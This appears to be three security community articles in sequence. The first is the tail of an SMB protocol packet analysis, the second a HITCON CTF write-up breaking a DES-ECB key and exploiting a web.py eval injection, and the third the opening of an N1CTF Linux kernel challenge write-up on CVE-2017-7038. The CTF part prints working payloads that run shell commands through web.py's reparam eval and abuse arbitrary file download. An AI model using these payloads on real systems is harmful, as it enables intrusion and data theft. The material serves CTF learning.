WordCount作为Words数组的宽度决定SMB_Parameters的大小，当WordCount为0时SMB_Parameters大小为1字节。
#### 0x0102 SMB_Data
SMB_Data结构如下
SMB_Data{
USHORT ByteCount;
UCHAR Bytes[ByteCount] (variable);
}
WordCount作为Bytes数组的宽度决定SMB_Data的大小，当ByteCount为0时SMB_Data大小为2字节。
### 0x011 消息概例
SMBv1消息结构可以表示为如下
SMB_Header{
UCHAR Protocol[4];
UCHAR Command;
SMB_ERROR Status;
UCHAR Flags;
USHORT Flags2;
USHORT PIDHigh;
UCHAR SecurityFeatures[8];
USHORT Reserved;
USHORT TID;
USHORT PIDLow;
USHORT UID;
USHORT MID;
}
SMB_Parameters{
UCHAR WordCount;
USHORT Words[WordCount] (variable);
}
SMB_Data{
USHORT ByteCount;
UCHAR Bytes[ByteCount] (variable);
}
SMB_Header结构中字段都是固定的，而SMB_Parameters和SMB_Data也是遵循其基本结构的，只是不同的消息Words数组和Bytes数组存储的东西不一样而已。
使用如下powershell命令禁用SMBv2/SMBv3，使服务器使用SMBv1协议
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters" SMB2 -Type DWORD -Value 0 -Force
大概分析一下以下两条cmd命令的SMBv1消息，重点看Command字段值
net use \\10.1.1.1\ipc$ "administrator" /user:"administrator"
dir \\10.1.1.1\c$
Command字段值按顺序汇总为如下
SMB_COM_NEGOTIATE
SMB_COM_SESSION_SETUP_ANDX
SMB_COM_SESSION_SETUP_ANDX
SMB_COM_TREE_CONNECT_ANDX
SMB_COM_TREE_CONNECT_ANDX
SMB_COM_TRANSACTION2
SMB_COM_TRANSACTION2
SMB_COM_TRANSACTION2
SMB_COM_TRANSACTION2
SMB_COM_TRANSACTION2
SMB_COM_TRANSACTION2
SMB_COM_NEGOTIATE命令用于协商协议方言。
SMB_COM_SESSION_SETUP_ANDX命令用于配置SMB 会话。如果服务器在用户级访问控制模式下运行，则必须发送至少一个
SMB_COM_SESSION_SETUP_ANDX以执行用户登录到服务器并建立有效的
UID。通过抓包我们也可以看到SMB_COM_SESSION_SETUP_ANDX命令用来进行NTLM身份认证。
SMB_COM_TREE_CONNECT_ANDX命令用于建立到服务器共享的客户端连接。这里是先建立到`\\10.1.1.1\ipc$`共享的客户端连接，然后在dir的时候建立到`c$`的共享
SMB_COM_TRANSACTION2命令请求消息结构如下
SMB_Parameters
{
UCHAR WordCount;
Words
{
USHORT TotalParameterCount;
USHORT TotalDataCount;
USHORT MaxParameterCount;
USHORT MaxDataCount;
UCHAR MaxSetupCount;
UCHAR Reserved1;
USHORT Flags;
ULONG Timeout;
USHORT Reserved2;
USHORT ParameterCount;
USHORT ParameterOffset;
USHORT DataCount;
USHORT DataOffset;
UCHAR SetupCount;
UCHAR Reserved3;
USHORT Setup[SetupCount];
}
}
SMB_Data
{
USHORT ByteCount;
Bytes
{
UCHAR Name;
UCHAR Pad1[];
UCHAR Trans2_Parameters[ParameterCount];
UCHAR Pad2[];
UCHAR Trans2_Data[DataCount];
}
}
SMB_COM_TRANSACTION2消息结构中的Setup[SetupCount]表示子命令，SMB_COM_TRANSACTION2命令具体的作用还需要看子命令，也就是看Setup[SetupCount]的值
把SMB_COM_TRANSACTION2命令中的子命令按顺序汇总为如下
TRANS2_QUERY_PATH_INFORMATION
TRANS2_QUERY_PATH_INFORMATION
TRANS2_QUERY_FS_INFORMATION
TRANS2_QUERY_FS_INFORMATION
TRANS2_FIND_FIRST2
TRANS2_QUERY_FS_INFORMATION
TRANS2_QUERY_PATH_INFORMATION子命令用于获取文件或目录的信息。TRANS2_QUERY_PATH_INFORMATION请求消息中的Trans2_Parameters.InformationLevel的值为`QUERY
Information Level Codes`，`QUERY Information Level Codes`决定了响应消息中包含的哪些信息，`QUERY
Information Level Codes`有如下值
TRANS2_QUERY_FS_INFORMATION子命令用于请求有关作为服务器上共享基础的对象存储的信息。TRANS2_QUERY_FS_INFORMATION子命令请求消息也有Trans2_Parameters.InformationLevel字段，该字段值为`QUERY_FS
Information Level Codes`，`QUERY_FS Information Level Codes`不同返回的内容不同，有如下
TRANS2_FIND_FIRST2子命令用于搜索目录中的文件或目录。Trans2_Parameters.InformationLevel字段值为`FIND
Information Level Codes`，`FIND Information Level Codes`不同返回的内容不同，有如下
其它SMB_COM_TRANSACTION2命令的子命令可以查看[文档](https://learn.microsoft.com/zh-cn/openspecs/windows_protocols/ms-cifs/1cc40e02-aaea-4f33-b7b7-3a6b63906516)
每条命令的细节可以去查文档，文档里面的有命令的作用和对应的消息结构。
## 0x02 SMBv2
SMBv2是对SMBv1的一个扩展，当SMBv2标头设置了Flags中的SMB2_FLAGS_ASYNC_COMMAND位时，SMBv2标头结构为[ASYNC](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/ea4560b7-90da-4803-82b5-344754b92a79)，当SMBv2标头没有设置Flags中的SMB2_FLAGS_ASYNC_COMMAND位时，SMBv2标头结构为[SYNC](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/fb188936-5050-48d3-b350-dc43059638a4)
SMBv2标头结构在SMBv2的所有消息中是固定的，而消息剩余部分的内容随命令不同而不同，SMBv2命令填充到SMBv2标头的Command字段中，SMBv2命令有如下
使用如下powershell命令开启SMBv2/SMBv3，命令执行完之后需要重启计算机
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters" SMB2 -Type DWORD -Value 1 -Force
大概分析一下以下两条命令的SMBv2消息
net use \\10.1.1.1\ipc$ "123.com" /user:"administrator"
dir \\10.1.1.1\c$
Command字段值按顺序汇总为如下
SMB_COM_NEGOTIATE
SMB2 NEGOTIATE
SMB2 SESSION_SETUP
SMB2 SESSION_SETUP
SMB2 TREE_CONNECT
SMB2 IOCTL
SMB2 IOCTL
SMB2 TREE_CONNECT
SMB2 IOCTL
SMB2 CREATE
SMB2 QUERY_INFO
SMB2 CREATE
SMB2 CLOSE
SMB2 CREATE
SMB2 CLOSE
SMB2 QUERY_INFO
SMB_COM_NEGOTIATE是SMBv1中的命令，是用来协商方言的。
SMB2 NEGOTIATE是SMBv2中的命令，也是用来协商方言的。这里可以看下返回包，服务器选择了SMB2.1方言
SMB2 SESSION_SETUP命令用以请求新的经过身份验证的会话到服务器。这里就是使用NTLM协议进行身份认证。
SMB2 TREE_CONNECT命令用来请求服务器上的特定共享。这里连接的是ipc$
SMB2 IOCTL用来发送文件系统控制命令或设备控制命令。
SMB2 CREATE用以请求创建或访问文件。
SMB2 QUERY_INFO用来查询文件、命名管道或基础卷的信息。
SMB2 CLOSE用于关闭SMB2 CREATE命令打开的文件实例。
## 0x03 SMBv3
SMBv2/SMBv3在官方文档里面是作为SMB 2协议的一个方言存在的
所以SMBv2的消息结构也是SMBv3的消息结构，当然SMBv3有很多自己的特性，比如SMBv3可以使用[SMB2
TRANSFORM_HEADER](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/d6ce2327-a4c9-4793-be66-7b5bad2175fa)标头来发送加密消息，也可以使用[SMB2
COMPRESSION_TRANSFORM_HEADER](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/1d435f21-9a21-4f4c-828e-624a176cf2a0)标头来发送压缩消息。
我这里连接Windows Server 2012的SMB服务，这时候协商使用的是SMB3.0.2方言
而对比其它的数据包，结构也基本一致。
文章用到的数据包可以在[这里](https://github.com/hangchuanin/Intranet_penetration_example)找到。
## 0x04 参考
[Common Internet File System (CIFS) Protocol](https://learn.microsoft.com/zh-cn/openspecs/windows_protocols/ms-cifs/d416ff7c-c536-406e-a951-4f04b2fd1d2b)
[Server Message Block (SMB) Protocol Versions 2 and
3](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/5606ad47-5ee0-437a-817e-70c366052962)
[Microsoft SMB 协议和 CIFS 协议概述](https://learn.microsoft.com/zh-cn/windows/win32/fileio/microsoft-smb-protocol-and-cifs-protocol-overview)
[在
Windows服务器中启用/禁用SMBv1、SMBv2和SMBv3的方法](https://blog.51cto.com/u_3044148/3355300?b=totalstatistic) | 社区文章 |
#### On my Raddit
orange 大大出的这个题与其放在 Web 里，不如放在 Crypto 里。这里说一下比赛时的思路。
打开题目：
flag 是加密密钥，而 `hint` 提示加密密钥是`小写字母`。还有一个`P`的提示。
查看一波源码：
可以看到都是`?s=密文`的形式。网页提供了一个页面显示多少文章的选项，我们关注一下这块的源码：
可以看到两个密文前 64bit是一样的，后 64bit 不同，可以推断 64 bit
应该是一个分组，而且明文应该是`salt+number`的形式，salt 相同导致第一段密文相同。
接着我开始分析下面的链接的密文，起初我的想法是分析密文长度，根据密文长度和文章名的长度来推测 salt 的格式（文章名字越长密文越长），但是这个 salt
格式推了半天发现也没有卵用。
这个题不同于一般的密码题，一般都是要还原明文，这里 flag 是密钥，知道了明文也没用。
陷入了瓶颈，想找源码泄露找不到，扫一波目录还把我 ip ban了一会...
可用信息看来就这么多。想起提示密钥是小写字母，无疑缩小范围。如果不给这个提示，`2^56`我绝对爆破不出来，既然给了这个提示，所以我的思路就是爆破。
通过分组长度是 64bit可以推测加密算法应该是 DES，常用的应该也就 DES 分块是 64 bit。接下来需要找到明密文对，我源代码里搜寻了一下
limit=10 的链接密文后 64bit： **3ca92540eb2d0a42** 结果发现了点东西：
发现竟然有 18 处这个密文！ 仔细观察发现都在末尾！！
豁然开朗，看来这是 ECB 模式的 DES，这么多相同的密文绝不是巧合，一定是相同的明文。相同的明文都在而且都在最后，显然是 Padding
的时候，如果明文长度正好是分块的长度。假设分块长度是 8 字节，那么这种情况下会补8个`08`字节。详细的请看下`PKCS5`填充规则。想起了提示 P
应该就是提示 Padding 。
这八个 08 字节加密的密文都是 3ca92540eb2d0a42，所以有 18 处这块密文。
找到了明密文对，直接开始爆破的话，那就是`26^8`,我计算了一下是 `2^38`，我觉得是爆不出来...
想到了 DES 实际可用的密钥只有 56 bit，比如第一个字节是'b'，那么密钥前八位是 `01100010`，注意这里最后一位的 0 没有作用，在
DES 中每个字节的最后一位时被丢弃的，也就是说第一个字节用 b 加密和用 c 加密没有区别。
这样的话，b 和 c 效果一样，d 和 e 效果一样，也就是我们只需要`13^8==2^30`步就可以遍历完，直接爆破：
(脚本很丑，而且单线程)
# _*_ coding:utf-8 _*_
from Crypto.Cipher import DES
list="acegikmoqsuwy"
for a in list:
key1 = a
for b in list:
key2 = key1 + b
for c in list:
key3 = key2 + c
for d in list:
key4 = key3 + d
for e in list:
key5 = key4 + e
for f in list:
key6 = key5 + f
for g in list:
key7 = key6 + g
for h in list:
key = key7 + h
print key
obj = DES.new(key)
if obj.decrypt("3ca92540eb2d0a42".decode("hex"))=="0808080808080808".decode("hex"):
print key
exit()
5 点多开始跑，跑到8点多结束了... 打印出来的 key 是：`megooaso`,注意这不是真正的密钥，除去
a，剩下的都有和它相邻字符等价效果的，没办法我想把所以字符串打出来，看看哪个像个单词：
# _*_ coding:utf-8 _*_
for a in "lm":
key1 = a
for b in "de":
key2 = key1 + b
for c in "fg":
key3 = key2 + c
for d in "no":
key4 = key3 + d
for e in "no":
key5 = key4 + e
for f in "a":
key6 = key5 + f
for g in "rs":
key7 = key6 + g
for h in "no":
key = key7 + h
print key
挨个看发现没有像单词的... l 开头的应该不是，m 开头的试了试，最终`megnnaro`是 flag。
> hitcon{megnnaro}
另外看了 orange 的解答才发现用 hashcat 秒解... 但是我的 hashcat
不知怎么回事用不了，照着师傅们的命令执行都不行orz。有成功使用 hashcat
解出来的师傅可以联系一下我给我指点一波...还有的师傅找到了别的明密文对，只能说 tql ，对着这一大串能猜出另外的明密文对。 orange 题解中说用
python 单线程 10 min跑完，不知道这个 10 min 怎么来的...我跑了快三个小时。
这个题的第二关 On my Raddit V2 题目说是 getshell，一样的环境。有了密钥我就可以把那些密文都解出来，解出来那些只是些没有用的东西:
`u=70c97cc1-079f-4d01-8798-f36925ec1fd7&m=r&t=Ghostbuster%3A+Detecting+the+Presence+of+Hidden+Eavesdroppers+%5Bpdf%5D`
不过题目有个下载文件的地方：
把那个链接解密一下：`m=d&f=uploads%2F70c97cc1-079f-4d01-8798-f36925ec1fd7.pdf`
应该可以任意下载文件，根据 hint.py 可以推断这是 python 写的，那么下载一波 app.py。
m=d&f=app.py 加密得到e2272b36277c708bc21066647bc214b8
发过去 http://13.115.255.46/?S=e2272b36277c708bc21066647bc214b8
可以下到app.py:
# coding: UTF-8
import os
import web
import urllib
import urlparse
from Crypto.Cipher import DES
web.config.debug = False
ENCRPYTION_KEY = 'megnnaro'
urls = (
'/', 'index'
)
app = web.application(urls, globals())
db = web.database(dbn='sqlite', db='db.db')
def encrypt(s):
length = DES.block_size - (len(s) % DES.block_size)
s = s + chr(length)*length
cipher = DES.new(ENCRPYTION_KEY, DES.MODE_ECB)
return cipher.encrypt(s).encode('hex')
def decrypt(s):
try:
data = s.decode('hex')
cipher = DES.new(ENCRPYTION_KEY, DES.MODE_ECB)
data = cipher.decrypt(data)
data = data[:-ord(data[-1])]
return dict(urlparse.parse_qsl(data))
except Exception as e:
print e.message
return {}
def get_posts(limit=None):
records = []
for i in db.select('posts', limit=limit, order='ups desc'):
tmp = {
'm': 'r',
't': i.title.encode('utf-8', 'ignore'),
'u': i.id,
}
tmp['param'] = encrypt(urllib.urlencode(tmp))
tmp['ups'] = i.ups
if i.file:
tmp['file'] = encrypt(urllib.urlencode({'m': 'd', 'f': i.file}))
else:
tmp['file'] = ''
records.append( tmp )
return records
def get_urls():
urls = []
for i in [10, 100, 1000]:
data = {
'm': 'p',
'l': i
}
urls.append( encrypt(urllib.urlencode(data)) )
return urls
class index:
def GET(self):
s = web.input().get('s')
if not s:
return web.template.frender('templates/index.html')(get_posts(), get_urls())
else:
s = decrypt(s)
method = s.get('m', '')
if method and method not in list('rdp'):
return 'param error'
if method == 'r':
uid = s.get('u')
record = db.select('posts', where='id=$id', vars={'id': uid}).first()
if record:
raise web.seeother(record.url)
else:
return 'not found'
elif method == 'd':
file = s.get('f')
if not os.path.exists(file):
return 'not found'
name = os.path.basename(file)
web.header('Content-Disposition', 'attachment; filename=%s' % name)
web.header('Content-Type', 'application/pdf')
with open(file, 'rb') as fp:
data = fp.read()
return data
elif method == 'p':
limit = s.get('l')
return web.template.frender('templates/index.html')(get_posts(limit), get_urls())
else:
return web.template.frender('templates/index.html')(get_posts(), get_urls())
if __name__ == "__main__":
app.run()
其实之后才了解到，orange 的本意是拿到了一个等效密钥，然后就去读到源码，这样就能看到密钥了。这句提示：
当时没有注意到...就去穷举试了 (不敢写提交 flag 的脚本怕被 ban)
#### On my Raddit V2(复现)
web.py 审不动... 跟着师傅们复现了一波。
赛后跟 Nu1l 和 TD 的师傅请教了一波，师傅甩出的链接:`https://securityetalii.es/2014/11/08/remote-code-execution-in-web-py-framework/`，看了半天也不知道和此题联系在哪。
才得知这题要追 web.py 的源码。
除了上面下的 app.py，还要下一个 `requirements.txt` 文档
encrypt("m=d&f=requirements.txt") -> fc3769d67641424d59387bf7f393b4e4d0acd96cd08fe232
payload: ?s=fc3769d67641424d59387bf7f393b4e4d0acd96cd08fe232
发现 web.py 版本是 0.38，所以这个[链接](https://securityetalii.es/2014/11/08/remote-code-execution-in-web-py-framework/)的洞还没有修彻底。
开始看链接与题联系不到一起，之后才知道要追 web.py 源码。在 app.py 中这句代码：
去追这个 limit：
发现代入了查询里，限制查询出的结果数。
追 web.py 的源码，也就是 `db.select` 函数，就能追到链接的地方：
def reparam(string_, dictionary):
"""
Takes a string and a dictionary and interpolates the string
using values from the dictionary. Returns an `SQLQuery` for the result.
>>> reparam("s = $s", dict(s=True))
<sql: "s = 't'">
>>> reparam("s IN $s", dict(s=[1, 2]))
<sql: 's IN (1, 2)'>
"""
dictionary = dictionary.copy() # eval mucks with it
vals = []
result = []
for live, chunk in _interpolate(string_):
if live:
v = eval(chunk, dictionary)
result.append(sqlquote(v))
else:
result.append(chunk)
return SQLQuery.join(result, '')
文中说了 `The entry points to reparam() are functions _where(), query(), and
gen_clause()`query() 对应的就是此题的 `db.select`，这里看到了非常显眼的 eval。
根据链接中的方法构造 payload：
import urllib
import urlparse
from Crypto.Cipher import DES
ENCRPYTION_KEY = 'megnnaro'
def encrypt(s):
length = DES.block_size - (len(s) % DES.block_size)
s = s + chr(length)*length
cipher = DES.new(ENCRPYTION_KEY, DES.MODE_ECB)
return cipher.encrypt(s).encode('hex')
def decrypt(s):
try:
data = s.decode('hex')
cipher = DES.new(ENCRPYTION_KEY, DES.MODE_ECB)
data = cipher.decrypt(data)
data = data[:-ord(data[-1])]
return dict(urlparse.parse_qsl(data))
except Exception as e:
print e.message
return {}
print encrypt(urllib.urlencode({'m': 'p', 'l': "${(lambda getthem=([x for x in ().__class__.__base__.__subclasses__() if x.__name__=='catch_warnings'][0]()._module.__builtins__):getthem['__import__']('os').system('ls / > /tmp/gml.txt'))()}"}))
print encrypt(urllib.urlencode({'m':'d','f':'/tmp/gml.txt'}))
看看根目录有啥东西，这里没有回显所以我们把执行结果写入文件再去下载：
执行结果：
d65ae2bb276bdf2f82e5ca0761781060ba0fcf988b736644cad7a2d2573b2a14c1b40eb540be086f3aa5f06aca4d6711fda9a6f7c2c02a1ab2f85c12c3e7dea5a9c2c8651bb6f693428382a9bad41786fd02051f7cfeb780a84ffa34580feb1a50cc07436f62822e6ac2317036d4928833716d46e3c45e026435ca0c4c2720eab52bdd0761d538f8d5a5b977e3cea74591e1d2322b3d28c8c55ec1158e6ab8a6db604049da47bab499c188967f1429e4766afbc74000e282c325980adf54fe049dedb22857cad08805ac90492fb40f443d734e28b8700a935b1d479a042f03548a35227ec717b2b5bee3bac58d5ae4add21bdbd2653d63691ca068a2bd875b32f132007c8a1d5e7c12cd963db7c487ddafb51c16b96b4757
4373ac92f9aea2e244e5098a963b4b3c1ee96782d23e0f27
挨个访问，下载到 ls 的命令结果：
看到了 `read_flag`，执行这个应该就可以得到 flag，修改payload:
print encrypt(urllib.urlencode({'m': 'p', 'l': "${(lambda getthem=([x for x in ().__class__.__base__.__subclasses__() if x.__name__=='catch_warnings'][0]()._module.__builtins__):getthem['__import__']('os').system('/read_flag > /tmp/gml.txt'))()}"}))
print encrypt(urllib.urlencode({'m':'d','f':'/tmp/gml.txt'}))
结果：
d65ae2bb276bdf2f82e5ca0761781060ba0fcf988b736644cad7a2d2573b2a14c1b40eb540be086f3aa5f06aca4d6711fda9a6f7c2c02a1ab2f85c12c3e7dea5a9c2c8651bb6f693428382a9bad41786fd02051f7cfeb780a84ffa34580feb1a50cc07436f62822e6ac2317036d4928833716d46e3c45e026435ca0c4c2720eab52bdd0761d538f8d5a5b977e3cea74591e1d2322b3d28c8c55ec1158e6ab8a6db604049da47bab499c188967f1429e4766afbc74000e282c325980adf54fe049dedb22857cad08805ac90492fb40f443d734e28b8700a935b1d479a042f03548a35227ec717b2b543324bca0702d4140e4bdc4c1ebe0ea54e28b1ed72c5f16ec1f8c82e7f139f375a806b6212666f872dfbb2d1031b37ca9e581b6f767797bd
4373ac92f9aea2e244e5098a963b4b3c1ee96782d23e0f27
挨个访问，可以得到 flag：
> hitcon{Fr0m_SQL_Injecti0n_t0_Shell_1s_C00L!!!}
参考：
1. [Nu1l的wp](https://xz.aliyun.com/t/2953#toc-12)
2. <https://xz.aliyun.com/t/2961> | 社区文章 |
# 2020N1CTF-W2L
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
本文以2020N1CTF题目环境为例介绍CVE-2017-7038、绕过KASLR的通用方法，以及本题最后的解法。
## 信息收集
run.sh qemu 启动脚本如下：
#echo "welcome"
exec 2>/dev/null
exec timeout -k1 120 stdbuf -i0 -o0 -e0 \
qemu-system-x86_64 \
-m 256M \
-cpu qemu64,+smep,+smap \
-kernel bzImage \
-initrd root.cpio \
-nographic \
-append "root=/dev/ram rw console=ttyS0 oops=panic loglevel=2 panic=1 kaslr console=ttyS0" \
-monitor /dev/null \
-s
可见开启了 SMEP,SMAP,KASLR;
提取文件系统后查看内核保护：
$ checksec vmlinux
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0xffffffff81000000)
RWX: Has RWX segments
init系统启动脚本如下：
#!/bin/sh
mknod -m 0666 /dev/null c 1 3
mknod -m 0660 /dev/ttyS0 c 4 64
mount -t proc proc /proc
mount -t sysfs sysfs /sys
mv flag root
chown root:root root/flag
chmod 660 root/flag
setsid cttyhack setuidgid 1000 /bin/sh
umount /proc
umount /sys
poweroff -f
查看系统版本：
/ $ cat /proc/version
Linux version 5.9.0 (zip@zip-server) (gcc (Ubuntu 7.5.0-3ubuntu1~18.04) 7.5.0, GNU ld (GNU Binutils for Ubuntu) 2.30) #1 SMP Sat Oct 17 01:49:15 EDT 2020
## 背景知识介绍
关于`AF_PACKET sockets`的简要介绍和相关实现，有助于理解漏洞，已经了解的同学可以跳过。
### `AF_PACKET` sockets 介绍
#### 概述
`AF_PACKET`套接字允许用户在设备驱动程序级别上发送或接收数据包。
例如，可以在物理层的顶部实现自己的协议，或者嗅探包括以太网和更高级别协议标头的数据包。
要创建`AF_PACKET`套接字，进程必须在控制其网络名称空间的用户名称空间中具有`CAP_NET_RAW`功能。
要在数据包套接字上发送和接收数据包，进程可以使用send和recv系统调用。
但是，数据包套接字提供了一种使用环形缓冲区（在内核和用户空间之间共享）来更快地完成此操作的方法。
可以通过`PACKET_TX_RING`和`PACKET_RX_RING`套接字选项创建环形缓冲区。
然后，用户可以映射环形缓冲区，然后可以直接向其读取或写入数据包数据。
内核处理环形缓冲区的方式有几种不同的变体。 用户可以使用`PACKET_VERSION`套接字选项来选择此变量。
环形缓冲区版本之间的差异可以在内核文档[4]中找到（搜索“ TPACKET version”）。
tcpdump是`AF_PACKET`套接字的广泛使用的程序之一。 当使用tcpdump嗅探特定接口上的所有数据包时，大致会发生以下情况：
# strace tcpdump -i eth0
...
socket(PF_PACKET, SOCK_RAW, 768) = 3
...
bind(3, {sa_family=AF_PACKET, proto=0x03, if2, pkttype=PACKET_HOST, addr(0)={0, }, 20) = 0
...
setsockopt(3, SOL_PACKET, PACKET_VERSION, [1], 4) = 0
...
setsockopt(3, SOL_PACKET, PACKET_RX_RING, {block_size=131072, block_nr=31, frame_size=65616, frame_nr=31}, 16) = 0
...
mmap(NULL, 4063232, PROT_READ|PROT_WRITE, MAP_SHARED, 3, 0) = 0x7f73a6817000
...
此系统调用序列对应于以下操作：
1. 创建了一个`socket(AF_PACKET，SOCK_RAW，htons(ETH_P_ALL))`。
2. 套接字绑定到eth0。
3. 环形缓冲区版本通过`PACKET_VERSION`套接字选项设置为`TPACKET_V2`。
4. 通过`PACKET_RX_RING`套接字选项创建一个环形缓冲区。
5. 环形缓冲区在用户空间中映射。
之后，内核将开始将通过eth0到达的所有数据包放入环形缓冲区，而tcpdump将从用户空间中的mmapped区域读取它们。
#### 环形缓冲区
现有文档主要集中于`TPACKET_V1`和`TPACKET_V2`环形缓冲区版本。
由于CVE-2017-7038仅影响`TPACKET_V3`版本，因此将重点关注该版本。环形缓冲区是用于存储数据包的存储区域。
每个数据包都存储在单独的帧中。 帧被分组为块。 在`TPACKET_V3`环形缓冲区中，帧大小不是固定的，只要帧适合块，就可以具有任意值。
要通过`PACKET_RX_RING`套接字选项创建`TPACKET_V3`环形缓冲区，用户必须提供环形缓冲区的确切参数。
这些参数通过一个指向名为`tpacket_req3`的请求结构的指针传递给`setsockopt`调用，该请求结构定义为：
//v5.9/source/include/uapi/linux/if_packet.h#L277
struct tpacket_req3 {
unsigned int tp_block_size; /* Minimal size of contiguous block */
unsigned int tp_block_nr; /* Number of blocks */
unsigned int tp_frame_size; /* Size of frame */
unsigned int tp_frame_nr; /* Total number of frames */
unsigned int tp_retire_blk_tov; /* timeout in msecs */
unsigned int tp_sizeof_priv; /* offset to private data area. This area can be used by a user to store arbitrary information associated with each block. */
unsigned int tp_feature_req_word; /*a set of flags (actually just one at the moment), which allows to enable some additional functionality.*/
};
每个块都有一个关联的头，该头存储在为该块分配的存储区域的最开始处。
块头结构称为`tpacket_block_desc`，并具有一个`block_status`字段，该字段指示该块是内核当前正在使用还是用户可用。
通常的工作流程是，内核将数据包存储到一个块中直到其填满，然后将`block_status`设置为`TP_STATUS_USER`。
然后，用户通过将`block_status`设置为`TP_STATUS_KERNEL`来从块中读取所需的数据，并将其释放回内核。
//v5.9/source/include/uapi/linux/if_packet.h
struct tpacket_hdr_v1 {
__u32 block_status;
__u32 num_pkts;
__u32 offset_to_first_pkt;
...
};
union tpacket_bd_header_u {
struct tpacket_hdr_v1 bh1;
};
struct tpacket_block_desc {
__u32 version;
__u32 offset_to_priv;
union tpacket_bd_header_u hdr;
};
每个帧还具有由结构`tpacket3_hdr`描述的关联标头。 `tp_next_offset`字段指向同一块内的下一帧。
//v5.9/source/include/uapi/linux/if_packet.h
struct tpacket3_hdr {
__u32 tp_next_offset;
...
};
当一个数据块完全填满数据（一个新的数据包无法容纳剩余空间）时，它会被关闭并释放到用户空间或被内核“淘汰”。
由于用户通常希望尽快看到数据包，因此即使没有完全填充数据，内核也可以释放该数据块。
这是通过设置一个计时器来完成的，该计时器以`tp_retire_blk_tov`参数控制的超时来退出当前块。
还有一种方法可以指定每个块的私有区域，内核不会触及该私有区域，用户可以用来存储与块相关的任何信息。
该区域的大小通过`tp_sizeof_priv`参数传递。
如果想更好地了解用户空间程序如何使用`TPACKET_V3`环形缓冲区，则可以阅读文档[4]中提供的示例（搜索“ `TPACKET_V3`
example”）。
### AF_PACKET sockets 的实现
#### 结构体定义
每当创建数据包套接字时，就会在内核中分配一个相关的`packet_sock`结构：
//v5.9/source/net/packet/internal.h#L108
struct packet_sock {
/* struct sock has to be the first member of packet_sock */
struct sock sk;
...
struct packet_ring_buffer rx_ring;
struct packet_ring_buffer tx_ring;
...
enum tpacket_versions tp_version;
...
int (*xmit)(struct sk_buff *skb);
...
};
此结构中的`tp_version`字段保存环形缓冲区版本，通过`PACKET_VERSION`
`setsockopt`调用将其设置为`TPACKET_V3`。
`rx_ring`和`tx_ring`字段描述了通过`PACKET_RX_RING`和`PACKET_TX_RING`
`setsockopt`调用创建的接收和发送环形缓冲区。 这两个字段的类型为`packet_ring_buffer`，定义为
//v5.9/source/net/packet/internal.h
struct packet_ring_buffer {
struct pgv *pg_vec;
...
union {
unsigned long *rx_owner_map;
struct tpacket_kbdq_core prb_bdqc;
};
};
struct pgv {
char *buffer;
};
`pg_vec`字段是指向pgv结构数组的指针，每个结构都包含对块的引用。 实际上，块是单独分配的，而不是作为一个连续的存储区域分配。
`prb_bdqc`字段的类型为`tpacket_kbdq_core`，其字段描述了环形缓冲区的当前状态：
//v5.9/source/net/packet/internal.h
/* kbdq - kernel block descriptor queue */
struct tpacket_kbdq_core {
...
unsigned short blk_sizeof_priv;
...
char *nxt_offset;
...
/* timer to retire an outstanding block */
struct timer_list retire_blk_timer;
};
`blk_sizeof_priv`字段包含每个块的私有区域的大小。 `nxt_offset`字段指向当前活动块内部，并显示下一个数据包应保存在何处。
`retire_blk_timer`字段的类型为`timer_list`，描述了在超时时退出当前块的计时器。
//v5.9/source/include/linux/timer.h#L11
struct timer_list {
/*
* All fields that change during normal runtime grouped to the
* same cacheline
*/
struct hlist_node entry;
unsigned long expires;
void (*function)(struct timer_list *);
u32 flags;
...
};
#### 环形缓冲区设置
内核使用`packet_setsockopt()`函数来处理数据包套接字的套接字设置选项。
使用`PACKET_VERSION`套接字选项时，内核会将`po-> tp_version`设置为提供的值。
使用`PACKET_RX_RING`套接字选项，将创建接收环形缓冲区。 在内部，它是由`packet_set_ring()`函数完成的。
此功能可以完成很多事情，在此仅介绍重要部分。 首先，`packet_set_ring()`对提供的环形缓冲区参数执行大量完整性检查：
//v5.9/source/net/packet/af_packet.c
static int packet_set_ring(struct sock *sk, union tpacket_req_u *req_u,
int closing, int tx_ring)
{
...
err = -EINVAL;
if (unlikely((int)req->tp_block_size <= 0))
goto out;
if (unlikely(!PAGE_ALIGNED(req->tp_block_size)))
goto out;
min_frame_size = po->tp_hdrlen + po->tp_reserve;
if (po->tp_version >= TPACKET_V3 &&
req->tp_block_size <
BLK_PLUS_PRIV((u64)req_u->req3.tp_sizeof_priv) + min_frame_size)
goto out;
if (unlikely(req->tp_frame_size < min_frame_size))
goto out;
if (unlikely(req->tp_frame_size & (TPACKET_ALIGNMENT - 1)))
goto out;
rb->frames_per_block = req->tp_block_size / req->tp_frame_size;
if (unlikely(rb->frames_per_block == 0))
goto out;
if (unlikely(rb->frames_per_block > UINT_MAX / req->tp_block_nr))
goto out;
if (unlikely((rb->frames_per_block * req->tp_block_nr) !=
req->tp_frame_nr))
goto out;
...
}
然后，分配环形缓冲区块：
//v5.9/source/net/packet/af_packet.c
static int packet_set_ring(struct sock *sk, union tpacket_req_u *req_u,
int closing, int tx_ring)
{
...
err = -ENOMEM;
order = get_order(req->tp_block_size);
pg_vec = alloc_pg_vec(req, order);
if (unlikely(!pg_vec))
goto out;
...
}
应该注意的是，`alloc_pg_vec()`使用内核页面分配器分配块：
//v5.9/source/net/packet/af_packet.c
static char *alloc_one_pg_vec_page(unsigned long order)
{
...
buffer = (char *) __get_free_pages(gfp_flags, order);
if (buffer)
return buffer;
...
}
static struct pgv *alloc_pg_vec(struct tpacket_req *req, int order)
{
...
for (i = 0; i < block_nr; i++) {
pg_vec[i].buffer = alloc_one_pg_vec_page(order);
if (unlikely(!pg_vec[i].buffer))
goto out_free_pgvec;
}
...
}
最后，`packet_set_ring()`调用`init_prb_bdqc()`，执行一些附加步骤来专门设置`TPACKET_V3`接收环形缓冲区：
//v5.9/source/net/packet/af_packet.c
static int packet_set_ring(struct sock *sk, union tpacket_req_u *req_u,
int closing, int tx_ring)
